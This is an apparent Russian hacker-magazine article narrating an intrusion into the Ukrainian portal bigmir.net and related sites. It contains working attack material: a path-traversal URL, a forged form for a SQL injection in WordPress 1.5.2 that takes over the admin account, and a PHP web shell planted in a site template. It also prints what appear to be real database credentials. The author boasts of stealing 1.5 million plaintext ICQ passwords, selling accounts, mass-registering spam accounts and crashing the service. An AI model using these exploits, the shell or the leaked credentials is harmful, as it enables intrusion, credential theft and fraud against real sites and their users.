вот и статья с ][akepa или просто статья M4g
Правильный подход к локализованному партнеру Icq.Com
Здравствуй, мой юный друг! Сегодня на нашем операционном столе лежит и подрагивает всеми конечностями очень известный пациент - украинский портал Bigmir.Net (аналог нашего Рамблера в Украине). Ты спросишь, что же в нем такого особенного? Отвечу. Бигмир - локализованный партнер Icq.Com, через которого проходит привязка номерков аськи к мылу, регистрация новых уинов и другие всяческие вкусности, связанные с аськой. Стало интересней? Тогда читай дальше:)
[Нет ничего невозможного!]
Помнишь майский номер ][, где твой покорный слуга успешно поимел израильский ICQ WAP-шлюз tjat.com? Это было лишь начало :) Сразу после продажи красивых номерков с этого сервиса я принялся изучать локализованных партнеров Icq.Com в различных странах: nana.co.il, rambler.ru, mynet.com, abv.bg, zoznam.sk, netvigator.com, prosieben.de, atlas.cz и bigmir.net. Для чего скачал крякнутый сканер уязвимостей XSpider 7.5 (ссылку приводить не буду, ибо это незаконно, но ты можешь ее поискать сам на различных форумах, посвященных хеку) и запустил его на своем компе с указанными выше доменами для проверки оных. Спустя час, прога выдала мне первые результаты :) Жертва была найдена - украинский портал bigmir.net с PR=8 по гуглю (в России сайтов с таким пиаром всего 3).
Сама ядовитая ссылка выглядела так:
http://www.bigmir.net/?u=../../../...../etc/passwd%00
Очень похоже на локальный инклуд с нулл-байтом. Но, как позже выяснилось, это было далеко не так. Данная бага позволяла лишь просматривать файлы на системе, а до выполнения php-кода дело не дошло, код в самом исходнике главной странице бигмира выглядит так:
$u = @$_GET['u'];
...
@readfile($staticDir .'rating'.$t.$u.'.html');
Просмотрев некоторые системные файлы
(например, http://www.bigmir.net/?u=../../../.....vhosts.conf%00), я решил пока отложить эту уязвимость и идти дальше.
[Хорошие соседи]
Как видишь, даже в таком серьезном портале уже на главной странице притаилась очень серьезная бага. Но с нее, в принципе, ничего хорошего поднять нельзя было. Поэтому следующим моим шагом было изучение сайтов, расположенных на том же сервере, что и bigmir.net, для чего я зашел на всем известный сервис IP-lookup http://domainsdb.net, вбил туда наш любимый бигмир и стал смотреть результаты.
На самом IP-адресе бигмира других сайтов не было, а вот на его же dns я увидел пару сайтиков: http://korrespondent.net и http://ricardo.com.ua, ссылки на которые были на главной нашего портала. Немного поизучав новых пациентов, я наткнулся на их форумы (http://forum.korrespondent.net и http://ricardo.com.ua/forum). Наметанный глаз сразу узнал скрипты борды. И там и там стоял Phorum. Но чтобы начать какие-либо хеккерские действия, необходимо было узнать версию форума. Пройдя по ссылке http://forum.korrespondent.net/admin.php, я узрел надпись "version 5.1.16a". Для нее, конечно, были известные баги, но паблик сплойтов под них не существует, а ковыряться с blind sql-injection не позволяла лень. Смотри сам, небольшой PoC сплойт (работающий, конечно, после логина на форум и подстановки существующих id форума и темы):
Код HTML:
<html>
<body>
<form method=POST action="http://forum.korrespondent.net/pm.php">
<input type="hidden" name="recipients[123']" value="testers">
<input type="hidden" name="action" value="post" />
<input type="text" id="subject" name="subject" size="50" value="" />
<textarea id="message" name="message" rows="20" cols="50"></textarea>
<input type="hidden" name="forum_id" value="1" />
<input type="submit" name"test" value="test">
<input name="preview" value=" Preview " />
</body>
</html>
Далее я совершил те же самые действия и со вторым форумом, но админки по данному адресу там не было. В итоге, ковыряясь с этими форумами, я нашел только одну интересную особенность, если пройти по ссылке http://ricardo.com.ua/forum/docs, то в окне браузера можно наблюдать следующую забавную картину:
Warning: main(./docs) [function.main]: failed to open stream: Invalid argument in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47
Fatal error: main() [function.require]: Failed opening required './docs' (include_path='.:/usr/local/share/pear') in /storage/web/htdocs/ricardo/pages/forum.tpl on line 47
Но, опять же, это все была вата, нужен был более серьезный баг.
[Истина где-то рядом]
Выбрав в качестве своей основной жертвы http://korrespondent.net, я продолжил хождение по этому ресурсу и через несколько минут наткнулся на http://blog.korrespondent.net, на главной странице которого в самом низу было написано "Блог Блоги Korrespondent.net работает на WordPress". Увидев эту надпись, я сразу обрадовался, ведь ВордПресс крайне дырявый движок, следовало только узнать его версию, для чего я проследовал по ссылке http://blog.korrespondent.net/readme.html. На открывшейся паге гордо красовалась вторая надпись, обрадовавшая меня за последние несколько минут: "WordPress 1.5" :) Дальше я сразу пошел на http://milw0rm.com, вбил туда в поиск название движка и увидел тучу очень неплохих сплойтов, выбрал из всех "Wordpress <= 1.5.1.3 Remote Code Execution eXploit (metasploit)", так как он был последним для ветки 1.5, запустил его и... ничего не получил :( Огорчению моему не было предела. Значит на исследуемом сайте стоял WordPress 1.5.2, для которого не было паблик сплойтов. В итоге из-за этой неудачи я забил на несколько дней на взлом бигмира.
[ВордПресс под ударом]
Как и следовало ожидать, наша история еще не закончилась :) Погуляв на свежем воздухе пару дней, я подумал, а почему бы самому не поискать баги в движке блога? Чем немедленно и занялся. Зашел на официальный сайт движка http://wordpress.org, зашел в архив раздела Download и скачал оттуда последнюю версию из первой ветки - 1.5.2. Установил блог на локалхосте и принялся за раскопки :) На поиск баги ушло несколько часов и пара литров пива, я копал каждый файл, мучал параметры, листал исходники... И, в итоге, мои старания были вознаграждены! Банальная скуль-инъекция присутствовала в файле ./wp-admin/user-edit.php в 69 строке
PHP код:
$result = $wpdb->query("UPDATE $wpdb->users SET user_login = '$new_user_login', user_firstname = '$new_firstname', $updatepassword user_lastname='$new_lastname', user_nickname='$new_nickname', user_icq='$new_icq', user_email='$new_email', user_url='$new_url', user_aim='$new_aim', user_msn='$new_msn', user_yim='$new_yim', user_idmode='$new_idmode', user_description = '$new_description', user_nicename = '$new_nicename' WHERE ID = $user_id");
Итак... (трубят фанфары) у нас на операционном столе новая приватная бага WordPress, найденная твоим покорным слугой :) Для ее использования необходима регистрация на уязвимом блоге. Вообще она находится в файле wp-register.php, но на Корреспонденте была сделана общая регистрация для всех сервисов сайта, поэтому, зарегавшись и залогинившись на сайт, я прошел по ссылке http://korrespondent.net/wp-admin/user-edit.php и сохранил страничку себе на винт. Далее, открыв ее в блокноте, я нашел следующий участок html-кода:
Код HTML:
<form name="edituser" id="edituser" action="user-edit.php" method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">
и заменил его на
Код HTML:
<form name="edituser" id="edituser" action="http://blog.korrespondent.net/wp-admin/user-edit.php" method="post">
<table width="99%" border="0" cellspacing="2" cellpadding="3">
Затем нашел hidden-поле с user_id и заменил его на
Код HTML:
<textarea name="user_id" rows="5" id="new_description" style="width: 99%; "></textarea>
После всех перечисленных действий, я сохранил заряженную страницу и открыл ее в браузере.
Теперь необходимо небольшое пояснение по найденной уязвимости: из sql-запроса видно, что при update пользовательского профиля вообще не проверяется параметр $user_id, то есть мы можем таким образом обновить профиль любого юзера, но, прежде всего, нам необходим админ. Как просто и быстро поставить админу любой свой пароль? А вот как.
В нашей ядовитой страничке вписываем в поля с логином и паролем любые свои логин и пароль, например, tester/tester, а в бывшее hidden-поле вписываем следующее: "-99 or user_level=10/*" (естественно, без кавычек). В итоге, наш скуль-запрос получается следующим:
PHP код:
UPDATE wp_users SET user_login = 'tester', user_firstname = '',user_pass=MD5('tester'), user_lastname='', user_nickname='', user_icq='', user_email='', user_url='', user_aim='', user_msn='', user_yim='', user_idmode='', user_description = '', user_nicename = '' WHERE ID =-99 or user_level=10/*
Так как юзера с ID=-99 однозначно не существует в базе данных, обновятся данные лишь юзера с user_level=10, то есть данные админа :)
[Ленивые админы]
Став админом blog.korrespondent.net, я задумался над получением шелла на сервере. Открою по секрету: у меня есть еще одна приватная бага, найденная мной, позволяющая легко и безболезненно получать шелл из адмнок всех версий вордпресс 1.5-2.1, но хватит с тебе раскрытия предыдущего привата :) Эта уязвимость все равно мне не понадобилась, т.к. зайдя в Редактор шаблонов, я увидел, что все php-файлы в темплейт-директории открыты на запись. Теперь необходимо было тайно встроить свой шелл в один из уязвимых файлов. Быстро набросав следующий php-код:
PHP код:
<?
isset($_GET[fuckkk]) ? print `$_GET[fuckkk]` : '';
?>
я вписал его в темплейт шапки блога. То есть, зайдя по адресу http://blog.korrespondent.net, можно было видеть обычный блог, а, зайдя на http://blog.korrespondent.net/?fuckkk=[команда], можно было видеть красивый и удобный шелл :)
А дальше я начал изучение сервера бигмир.нет. В первую очередь меня интересовала база данных бигмира. Отправившись на поиске параметров подключения к базе, я нашел файл /storage/web/htdocs/bigmir/bigmir2/config.php, в котором находились следующие строки:
PHP код:
// production
define('BM_DB_HOST', 'cbd2.sm');
define('BM_DB_USER', 'bigmir');
define('BM_DB_PASS', 'NacDagegWukecBi');
Далее я закачал на сервер скрипт управления БД от RusH Security Team (http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt, на оф. сайте скрипт недоступен) и поставил его по адресу http://files.korrespondent.net/img/f...a/4/header.php. Залогинившись по полученным данным, я с минуту наблюдал долго ожидаюмую картину - все таблицы бигмира были, как на ладони :) Немного походив по ним, я нашел таблицу с юзерами в bm_global.user. Полтора миллиона регистраций, все пароли к аськам в открытом виде! Ну не чудо ли? Ты можешь наблюдать часть таблицы с пятизначными номерками на скриншоте :)
[Что дальше?]
Продав все 5,6,7 значные номера из базы бигмира с помощью друзей, я задумался, а что же делать дальше? Перспективы открывались огромные, во-первых, в моих руках был клиентский API партнеров icq.com (наблюдать его ты также можешь на скриншоте), во-вторых, мой шелл уже на протяжении 2-х недель никто не спалил, а в-третьих, я нашел таблицу с админами бигмира и у меня был доступ к http://admin.bigmir.net (сейчас доступ к админке возможен лишь с опеределенных ip-адресов).
Решив действовать по пути наименьшего сопротивления, я стал изучать регу номеров. В результате в файле /storage/web/htdocs/bigmir/include/icq_ips_class.php я увидел следующую функцию:
PHP код:
function register($password, $email, $nickName, $firstName = false, $lastName = false, $birthDay = false, $sex = false, $country = false, $city = false, $state = false)
{
...
}
и стал ваять автореггер icq-уинов. Создал php-гейт на бигмире, где в цикле запустил указанную выше функцию, затем на том же php написал клиент к этому гейту и с помощью программы php2exe, которую ты можешь часто видеть на дисках от журнала, перевел его в экзешник. Процитирую одного из первых покупателей данной программы (kaleostra):
"купил - доволен
итак тесты : 10 мин,
4100 номеров с 7 копий
410 в минуту с 7 копий
59 номеров в минуту с копии !
Ресурсы не жрёт вообще..."
Как видишь, результаты ошеломляющие :) Но этого было, как обычно, мало. За несколько часов товарищ Cash написал GUI-интерфейс на делфях с поддержкой потоков, и получилась довольно симпатичная прога, которую ты можешь наблюдать на скриншоте. За одну ночь 4 человека зарегали более полумиллиона уинов, в результате бигмир повис надолго, затем была отключена регистрация номеров, и на сервере украинского портала стали проводиться какие-то технические работы. Через день все мои бэкдор-шеллы удалили, был установлен вордпресс последней версии и изменены пароли всех адмнов бигмира. Но меня это ничуть не расстроило :) Покопавшись в слитом движке бигмира, я нашел скуль-инъекцию, с помощью которой снова получил доступ к базе данных :) Правда, через несколько часов ее перекрыли.
В итоге, было продано очень и очень много элитнейших уинов, было зарегистрировано очень много девяток для спама (у меня самого лежит около 250k до сих пор, если будут нужны, обращайся) и, самое главное, был подорван авторитет не только локализованного партнера icq.com http://bigmir.net, но и всего AOL'а.
На этом следует остановиться. Как видишь, даже очень крупные проекты не могут устоять перед хакерами. Стоит задуматься, какой из локализованных партнеров будет следующей жертвой безжалостного icq-хак андеграунда? ;)
ХХХХХХХХХХХХ
DANGER:
ХХХХХХХХХХХХ
Все описанное в статье является плодом больного воображения автора. Любые совпадения с существующими сайтами случайны. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами этой статьи.
ХХХХХХХХХХХХХХХХХХХ
))
скрины
1) /etc/passwd на главной Бигмира
2) Админко Бигмира
3) Админко блога
4) Фрагмент БД с пятизнаками
5) Работа первого автореггера
(с) M4g